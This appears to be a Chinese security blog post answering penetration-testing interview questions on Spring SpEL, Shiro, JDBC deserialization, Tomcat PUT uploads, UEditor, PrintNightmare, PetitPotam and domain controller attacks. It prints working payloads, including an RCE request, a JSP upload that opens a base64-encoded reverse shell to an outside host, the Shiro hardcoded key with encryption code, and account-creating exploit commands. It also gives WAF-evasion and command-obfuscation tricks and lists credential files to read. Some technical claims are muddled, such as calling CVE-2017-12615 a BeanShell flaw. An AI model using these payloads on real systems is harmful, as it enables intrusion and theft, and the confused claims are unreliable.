网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
六、内网Windows Print Spooler漏洞(PrintNightmare)
长亭
sping spel漏洞原理&利用方法 什么情况才能利用 java jdbc反序列化高版本不出网的条件下如何利用 tomcat becl如何利用 shiro 反序列化用的哪种加密方法 如何利用 ueditor 哪种语言环境存在漏洞 怎么利用 如何绕waf 内网windows print spooler 利用&原理 内网 PotiPetam利用&原理 域内用户和工作组用户的差别 如何攻击域控 spring4shell&log4j利用 外网常用打点漏洞有哪些 一个任意文件读取/任意文件下载,如何进一步利用 用友nc beanshell执行命令如何绕waf shiro反序列化漏洞 如何cookie中的payload 过长被waf 拦截 如何绕waf
一、Spring SpEL表达式注入漏洞
1. 技术原理
- 表达式解析机制:Spring框架在处理
@Value
注解、SpelExpressionParser
时未正确过滤用户输入- 沙箱逃逸:通过
T(Type)
运算符访问Java类加载器,例如:T(java.lang.Runtime).getRuntime().exec('calc')
- 触发场景:HTTP参数绑定、错误消息处理、动态模板渲染
2. 利用条件
- Spring版本 < 5.0.6(CVE-2018-1270)
- 存在用户输入直接拼接至SpEL表达式
- 应用未启用表达式安全模式(如
StandardEvaluationContext
被误用)3. 攻击方法
http
POST /vuln-endpoint HTTP/1.1 param=${T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")}
4. 防御策略
- 升级Spring至5.0.6+版本
- 全局替换
StandardEvaluationContext
为SimpleEvaluationContext
- 输入过滤:正则表达式拦截
T\(.*?\)
等危险语法
二、Java JDBC反序列化高版本不出网利用
1. 漏洞背景
- MySQL Connector/J 8.0+反序列化限制:
autoDeserialize
参数默认关闭- 不出网限制:无法建立JNDI连接或RMI反向Shell
2. 本地利用链构造
- TemplatesImpl链:
java
// 生成恶意字节码 ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("Evil"); clazz.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); // 注入静态代码块执行命令... byte[] byteCode = clazz.toBytecode(); // 构造TemplatesImpl对象 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{byteCode}); setFieldValue(templates, "_name", "Exploit");
3. 利用步骤
- 利用CC链(如CC6)触发TemplatesImpl#newTransformer()
- 通过JDBC连接属性触发反序列化:
jdbc:mysql://host:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
4. 防御方案
- 升级JDBC驱动至最新版
- 配置数据库连接池禁用
autoDeserialize
参数
三、Tomcat BeanShell(BECL)漏洞利用
1. 漏洞原理(CVE-2017-12615)
- BeanShell脚本引擎:Tomcat默认允许
.bsh
文件解析- 文件上传绕过:利用
PUT
方法上传.jsp
文件时,添加/
后缀绕过过滤(如shell.jsp%20
)2. 攻击流程
http
PUT /test.jsp%20 HTTP/1.1 <% Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}"); %>
3. 防御措施
- 禁用HTTP PUT方法
- 配置
web.xml
限制脚本文件扩展名
四、Shiro反序列化漏洞
1. 加密机制
- AES-CBC模式:默认使用硬编码密钥
kPH+bIxk5D2deZiIxcaaaA==
- RememberMe Cookie结构:Base64(AES(序列化数据))
2. 攻击流程
- 生成恶意对象:
bash
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/pwned" > payload.bin
- 加密payload:
python
from Crypto.Cipher import AES key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(payload))
- 发送Cookie:
Cookie: rememberMe=Base64(encrypted)
3. WAF绕过技术
- 分块传输:将Cookie拆分为多个
rememberMe=part1; rememberMe=part2
- 注释符注入:利用
/**/
分割payload,如reme/*xxx*/mberMe=...
- 短Payload构造:使用URLClassLoader加载远程jar(需DNS出网)
五、UEditor漏洞利用及WAF绕过
1. 受影响版本
- JSP版本:1.4.3之前存在任意文件上传(CVE-2017-1000498)
- 漏洞路径:
/ueditor/jsp/controller.jsp?action=uploadfile
2. 攻击示例
http
POST /ueditor/jsp/controller.jsp?action=uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABCDE ------WebKitFormBoundaryABCDE Content-Disposition: form-data; name="upfile"; filename="test.jsp" Content-Type: image/jpeg <% out.println("Hello Vuln!"); %>
3. WAF绕过技巧
- MIME伪装:修改Content-Type为
image/png
- 路径遍历:文件名设置为
../../../test.jsp
- Unicode编码:
test.%6a%73%70
六、内网Windows Print Spooler漏洞(PrintNightmare)
1. 漏洞原理(CVE-2021-34527)
- RPC协议缺陷:
RpcAddPrinterDriverEx
未验证调用者权限- 驱动程序加载:远程加载恶意DLL实现SYSTEM权限执行
2. 利用工具
powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!"
3. 防御方案
- 禁用Print Spooler服务
- 安装2021年7月微软补丁
七、PetitPotam攻击原理
1. 攻击流程
- 强制域控通过MS-EFSRPC协议向攻击者发起NTLM认证
- 中继认证至LDAP服务,修改域对象ACL
- 授予攻击者DCSync权限,导出krbtgt哈希
2. 工具使用
bash
python3 petitpotam.py -d domain.local -u user -p pass 192.168.1.100 192.168.1.1
3. 缓解措施
- 启用SMB签名
- 禁用NTLM认证
八、域用户与工作组用户差异
特征 域用户 工作组用户 认证中心 域控制器(AD) 本地SAM数据库 策略管理 组策略统一应用 本地策略独立配置 资源共享 域内全局访问 需手动配置共享权限 典型攻击面 Kerberoasting、DCSync 本地提权、密码复用
九、域控攻击方法论
1. 信息收集阶段
- BloodHound分析:识别高价值路径(如域管登录过的机器)
- SPN扫描:
setspn -T domain -Q */*
2. 权限提升路径
- MS14-068:伪造PAC获取域管权限(需未打补丁)
- ZeroLogon:重置域控机器账户密码(CVE-2020-1472)
3. 持久化技术
- Golden Ticket:使用krbtgt哈希生成任意用户TGT
- SID History注入:添加域管SID至普通用户
十、Spring4Shell & Log4j漏洞对比
特征 Spring4Shell (CVE-2022-22965) Log4j (CVE-2021-44228) 触发条件 Tomcat+War部署、JDK9+ 日志记录包含 ${jndi:ldap://}
利用链 数据绑定→日志文件写入WebShell JNDI→LDAP加载远程类 回显方式 需访问写入的JSP文件 直接通过DNS/HTTP请求外带数据 影响版本 Spring 5.3.0-5.3.17, 5.2.0-5.2.19 Log4j 2.0-beta9 - 2.14.1
十一、外网常用打点漏洞清单
- Web漏洞
- SQL注入(如时间盲注绕过WAF)
- 文件上传(类型校验绕过)
- SSRF(云元数据API利用)
- 框架漏洞
- Shiro反序列化
- Fastjson JNDI注入
- 协议漏洞
- FTP匿名访问
- Redis未授权访问
十二、任意文件读取深度利用
1. 敏感文件枚举
- Linux:
/etc/passwd
→/proc/self/environ
→~/.ssh/id_rsa
- Windows:
C:\Windows\win.ini
→C:\Windows\Panther\Unattended.xml
2. 组合利用案例
- 读取Spring配置文件:获取数据库密码→横向移动
- 获取Kubernetes Token:
/var/run/secrets/kubernetes.io/serviceaccount/token
十三、用友NC BeanShell绕过WAF
1. 漏洞触发点
- 接口路径:
/servlet/~ic/bsh.servlet.BshServlet
2. 命令混淆技巧
java
// 原始payload exec("whoami"); // 混淆后 String cmd = "w" + "ho" + "am" + "i"; Runtime.getRuntime().exec(cmd);
3. WAF绕过方案
- Unicode转义:
\u0077\u0068\u006f\u0061\u006d\u0069
- 反射调用:
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "cmd")
十四、Shiro Cookie过长WAF拦截解决方案
1. Payload压缩技术
- GZIP压缩:将序列化数据压缩后加密
- 分片存储:将Payload拆分存储至多个Cookie
2. 内存马注入
- 发送短Payload加载ClassLoader
- 通过HTTP头传输字节码:
X-Payload: CAFEBABE...
- 反射定义恶意类实现内存驻留